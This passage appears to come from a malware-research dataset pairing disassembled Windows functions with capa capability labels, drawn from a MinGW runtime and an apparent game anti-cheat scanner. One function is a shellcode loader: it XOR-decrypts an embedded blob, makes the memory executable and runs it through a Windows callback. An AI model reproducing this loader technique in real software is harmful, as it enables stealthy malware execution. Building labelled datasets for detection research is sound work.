joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2fc4c7890
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4c8292
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4ec108]
test eax, eax
je 0x2fc4c832a
lea rax, [0x2fc4ec0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4ec110]
mov qword [rbp - 8], rax
jmp 0x2fc4c830e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4c8302
cmp qword [rbp - 0x10], 0
je 0x2fc4c8302
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4c82c8
lea rax, [0x2fc4ec0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4c832b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4c8430
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4c8458
mov eax, 0
jmp 0x2fc4c84a6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4c8481
mov eax, 0
jmp 0x2fc4c84a6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4c84a1
mov eax, 0
jmp 0x2fc4c84a6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4c84ac
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4c852a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4c8521
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4c8521
mov rax, qword [rbp - 8]
jmp 0x2fc4c853f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4c84f4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
push rsi
push rdi
mov eax, 0x2018
call fcn.140001130
sub rsp, rax
lea rax, [rsp + 0x50]
lea rcx, [0x140002230]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x37f
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x3cf]
mov rdi, rax
xor eax, eax
mov ecx, 0xc5d
rep stosb byte [rdi], al
lea rax, [rsp + 0x40]
lea rcx, str.Admin123____
mov rdi, rax
mov rsi, rcx
mov ecx, 0xe
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x40]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov dword [rsp + 0x24], eax
mov dword [rsp + 0x20], 0
jmp 0x140001078
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
movsxd rax, dword [rsp + 0x20]
cmp rax, 0xfdc
jae 0x1400010bb
movsxd rax, dword [rsp + 0x20]
movzx eax, byte [rsp + rax + 0x50]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x20]
cdq
idiv dword [rsp + 0x24]
mov eax, edx
cdqe
movsx eax, byte [rsp + rax + 0x40]
mov ecx, dword [rsp + 0x28]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x20]
mov byte [rsp + rcx + 0x1030], al
jmp 0x14000106e
lea rax, [rsp + 0x1030]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x2c], 0xfdc
mov dword [rsp + 0x30], 0
movsxd rax, dword [rsp + 0x2c]
lea r9, [rsp + 0x30]
mov r8d, 0x40
mov rdx, rax
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_EnumUILanguagesW]
xor eax, eax
add rsp, 0x2018
pop rdi
pop rsi
ret

Function at 0x1400018ac
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400018f6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400018f6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400018f6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400018f6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400018f6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400018f8
xor al, al
add rsp, 0x28
ret
Function at 0x140005120
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword ss:[rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x14006b030]
xor rax, rsp
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xor ebx, ebx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rbx
mov r8, qword [rcx + 8]
mov rdx, qword [rcx]
lea rcx, [rsp + 0x20]
call fcn.140006d20
lea r8, [rsp + 0x20]
mov r10, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x38]
cmp rsi, 8
cmovae r8, r10
movabs rdx, 0xcbf29ce484222325
mov r11, qword [rsp + 0x30]
lea r9, [r11 + r11]
mov ecx, ebx
test r9, r9
je 0x1400051b4
movabs rdi, 0x100000001b3
movzx eax, byte [rcx + r8]
xor rdx, rax
imul rdx, rdi
inc rcx
cmp rcx, r9
jb 0x1400051a0
mov rcx, qword [0x14006e910]
and rcx, rdx
add rcx, rcx
mov rax, qword [0x14006e8f8]
mov r9, qword [rax + rcx*8 + 8]
cmp r9, qword [0x14006e8e8]
je 0x140005229
mov rdi, qword [rax + rcx*8]
nop word [rax + rax]
lea rax, [r9 + 0x10]
mov rcx, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x1400051f2
mov rax, qword [rax]
lea r8, ds:[rsp + 0x20]
cmp rsi, 8
cmovae r8, r10
cmp r11, rcx
jne 0x140005277
mov rdx, r11
test r11, r11
je 0x140005226
sub r8, rax
movzx ecx, word [r8 + rax]
cmp cx, word [rax]
jne 0x140005277
add rax, 2
sub rdx, 1
jne 0x140005210
mov rbx, r9
mov rax, qword [0x14006e8e8]
test rbx, rbx
cmovne rax, rbx
cmp rax, qword [0x14006e8e8]
setne bl
cmp rsi, 8
jb 0x14000528d
lea rdx, [rsi*2 + 2]
mov rax, r10
cmp rdx, 0x1000
jb 0x140005285
add rdx, 0x27
mov r10, qword [r10 - 8]
sub rax, r10
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005285
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp r9, rdi
je 0x140005229
mov r9, qword [r9 + 8]
jmp 0x1400051e0
mov rcx, r10
call fcn.140048710
movzx eax, bl
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400486f0
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
Function at 0x1400052c0
Capabilities:
Query or enumerate registry key

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x70
xor r14d, r14d
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140005428
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x14000541d
mov ebp, r14d
cmp dword [rsp + 0xb8], r14d
jbe 0x14000541d
lea r15, [r14 - 1]
mov eax, 0x100
mov dword [rsp + 0xb0], eax
mov qword [rsp + 0x68], r14
mov rsi, r14
nop dword [rax + rax]
mov ecx, eax
mov eax, 2
mul rcx
mov rdi, rax
cmovo rdi, r15
mov rcx, rdi
call fcn.14004875c
mov rbx, rax
mov r8, rdi
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword ds:[rsp + 0x68], rbx
test rsi, rsi
je 0x1400053ad
mov rcx, rsi
call fcn.140048710
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0xb0]
mov r8, rbx
mov edx, ebp
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov rsi, rbx
cmp eax, 0xea
jne 0x1400053f0
mov eax, dword [rsp + 0xb0]
jmp 0x140005370
test eax, eax
jne 0x140005406
mov rdx, rbx
mov rcx, qword [rsp + 0x60]
call fcn.140005440
nop
mov rcx, rbx
call fcn.140048710
inc ebp
cmp ebp, dword [rsp + 0xb8]
jb 0x140005354
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0xa0]
add rsp, 0x70
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000b3a0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
mov rax, qword [0x14006b030]
xor rax, rsp
mov qword [rsp + 0x60], rax
test cl, cl
jne 0x14000b406
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._System_Scanner__Running_checks_to_detect_event_log_bypasses..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140006b20
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetServicesEventLogSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b590
lea rax, ds:[rsp + 0x30]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.File
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x14000b585
mov ecx, dword [rsp + 0x30]
shr rcx, 1
mov eax, 2
mul rcx
mov rbx, 0xffffffffffffffff
cmovo rax, rbx
mov rcx, rax
call fcn.14004875c
mov rdi, rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.File
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
nop word [rax + rax]
test eax, eax
jne 0x14000b578
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
inc rbx
cmp word [rdi + rbx*2], 0
jne 0x14000b4e2
mov r8, rbx
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.140006d20
nop
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rdx, str._SystemRoot_System32WinevtLogsSystem.evtx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x14000b533
lea rdx, str.____Event_log_bypass_detected._Ban_the_user._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000b5c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14000b578
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b573
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b573
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048710
mov rcx, rdi
call fcn.140048710
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400486f0
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
movzx ecx, dl
jmp 0x14000b3a0
Function at 0x14000f560
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x14000f588
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000f5ae
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14000f5b0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14000f611
test ecx, ecx
jle 0x14000f5e9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14000f611
cmp qword [rdi + 0x80], 0
je 0x14000f611
lfence
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
Function at 0x14000f640
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov r14, r8
mov rbp, rdx
mov rsi, rcx
test r8, r8
jg 0x14000f671
xor eax, eax
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
je 0x14000f692
lfence
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x30], rbx
mov rbx, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x14000f6ae
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000f6b0
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000f6ec
mov qword [rsp + 0x38], rdi
cmp rax, r14
mov rdi, r14
mov rcx, rbp
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add rbp, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x38]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14000f780
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14000f727
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000f75e
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add rbp, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000f780
cmp rbx, rax
ja 0x14000f730
nop
test rbx, rbx
je 0x14000f780
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub r14, rbx
mov rax, r14
lfence
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x14000fd00
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14006b030]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000fd2d
xor eax, eax
jmp 0x14000fe92
mov rdx, qword [rcx + 0x40]
mov rax, qword [rdx]
test rax, rax
je 0x14000fd58
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
add r8, rax
cmp rax, r8
jae 0x14000fd58
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], dil
mov eax, edi
jmp 0x14000fe92
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000fe85
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x14000fd9b
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword ds:[rbx + 0x68]
test rcx, rcx
jne 0x14000fdc7
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14000fe8a
lea rax, [rsp + 0x48]
mov byte [rsp + 0x40], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x41]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x40]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14000fe36
sub eax, 1
je 0x14000fe36
cmp eax, 2
jne 0x14000fe85
movsx ecx, byte [rsp + 0x40]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14000fe8a
mov rsi, qword [rsp + 0x48]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x14000fe6b
lfence
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000fe85
lea rax, [rsp + 0x40]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x50], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x14000fe8a
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400486f0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400103e0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14006b030]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1400104c6
cmp byte [rcx + 0x71], 0
je 0x1400104c6
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
mov rax, qword [rax + 0x18]
call qword [0x14004fd60]
cmp eax, 0xffffffff
je 0x1400104c2
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140010483
sub eax, 1
je 0x140010487
nop dword [rax + rax]
cmp eax, 2
jne 0x1400104c2
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400486f0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1400104b8
lfence
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1400104c2
cmp byte ds:[rbx + 0x71], 0
sete al
jmp 0x14001046b
xor al, al
jmp 0x14001046b
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400486f0
add rsp, 0x60
pop rbx
ret
Function at 0x140012ce0
Capabilities:
Enumerate files on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x610]
sub rsp, 0x710
mov rax, qword [0x14006b030]
xor rax, rsp
mov qword [rbp + 0x600], rax
mov rdi, rcx
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._s_s
mov edx, 0x104
lea rcx, [rbp + 0x3f0]
call fcn.1400129a0
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x3f0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140012e71
nop dword [rax]
lea rax, [rbp - 0x44]
mov r9, rdi
lea r8, [0x140053050]
mov qword [rsp + 0x20], rax
mov edx, 0x104
lea rcx, [rbp + 0x1e0]
call fcn.1400129a0
lea r8, [rsp + 0x60]
xor edx, edx
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
test eax, eax
je 0x140012e4d
mov rax, qword [rsp + 0x74]
lea rdx, str.Glorious_Core
lea rcx, [rbp + 0x1e0]
mov qword [rsp + 0x40], rax
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x140012dbf
lea rcx, str.____Glorious_software_detected._Open_the_Glorious_Core_program_and_check_if_any_button_click_contains_a_macro._If_so__ban_the_player._n
call fcn.140003e60
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
test eax, eax
je 0x140012e3a
lea rdx, ds:[rsp + 0x50]
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
test eax, eax
je 0x140012e31
movzx ecx, word [rsp + 0x5a]
movzx edx, word [rsp + 0x58]
movzx eax, word [rsp + 0x5c]
movzx r10d, word [rsp + 0x56]
movzx r9d, word [rsp + 0x52]
movzx r8d, word [rsp + 0x50]
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
lea rcx, str.____Macro_file_detected._Modification_time_of__s:__d__d__d__d:_d:_d._Ban_the_player_if_this_modification_time_is_just_after_the_tike_you_freezed_the_player._n
mov dword [rsp + 0x28], edx
lea rdx, [rbp + 0x1e0]
mov dword [rsp + 0x20], r10d
call fcn.140003e60
jmp 0x140012e4d
lea rdx, str.Failed_to_convert_file_time_to_system_time._n
jmp 0x140012e41
lea rdx, str.Failed_to_convert_file_time_to_local_time._n
lea rcx, str.Error_ocurred_while_checking_macro_files:__s_n
call fcn.140003e60
lea rdx, [rbp - 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
nop word [rax + rax]
test eax, eax
jne 0x140012d50
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword ds:[rbp + 0x600]
xor rcx, rsp
call fcn.1400486f0
lea r11, [rsp + 0x710]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140012ea0
Capabilities:
Enumerate files on windows

Disassembly:
push rbp
push r14
sub rsp, 0x6c8
mov rax, qword [0x14006b030]
xor rax, rsp
mov qword [rsp + 0x6a0], rax
mov r14, rcx
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._s_s
mov edx, 0x104
lea rcx, [rsp + 0x490]
call fcn.1400129a0
lea rcx, [rsp + 0x490]
call fcn.140012a00
lea rdx, ds:[rsp + 0x30]
lea rcx, [rsp + 0x490]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x140013071
mov qword [rsp + 0x6f0], rbx
mov qword [rsp + 0x6c0], rsi
mov qword [rsp + 0x6b8], rdi
mov qword [rsp + 0x6b0], r15
lea r15, [0x14006ea20]
nop word [rax + rax]
lea rax, [rsp + 0x5c]
mov r9, r14
lea r8, [0x140053050]
mov qword [rsp + 0x20], rax
mov edx, 0x104
lea rcx, [rsp + 0x280]
call fcn.1400129a0
mov rdi, 0xffffffffffffffff
nop dword [rax]
inc rdi
cmp word [r15 + rdi*2], 0
jne 0x140012f70
lea rdx, str._username_
lea rcx, [rsp + 0x280]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x140013013
nop word [rax + rax]
lea rcx, ds:[rsp + 0x280]
mov rbx, rax
sub rbx, rcx
mov r8d, 0xfa
sar rbx, 1
sub r8, rbx
lea rsi, [rbx + rdi]
cmp rdi, r8
ja 0x140012ff5
lea rcx, [rsp + 0x280]
add r8, r8
lea rcx, [rcx + rsi*2]
lea rdx, [rax + 0x14]
call sub.VCRUNTIME140.dll_memmove
